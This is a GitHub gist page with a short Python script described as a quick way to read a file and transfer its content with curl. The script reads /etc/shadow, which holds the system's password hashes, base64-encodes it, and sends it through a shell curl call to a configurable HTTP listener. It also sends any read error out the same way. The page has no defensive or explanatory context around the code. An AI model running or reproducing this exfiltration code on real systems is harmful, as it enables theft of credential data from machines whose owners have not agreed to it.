Created
May 19, 2019 11:09
-
-
Save hddananjaya/8ff66827ecbcdae8d6653b5bc706f12e to your computer and use it in GitHub Desktop.
quick script to read a file and transfer content using curl
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ------------------------------------------------------------- | |
# quick script to read a file and transfer content using curl | |
# by @_hddananjaya | |
# ------------------------------------------------------------- | |
import base64 | |
import os | |
HTTPD = "127.0.0.1:8080" | |
def curl(msg): | |
os.system("curl http://{}/?={}".format(HTTPD,msg)) | |
try: | |
file = open("/etc/shadow", "r") | |
except Exception as e: | |
# send err and exit | |
err = base64.b64encode(str(e)) | |
curl(err) | |
exit() | |
file_content = file.read() | |
content_b64 = base64.b64encode(file_content) | |
file.close() | |
curl(content_b64) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment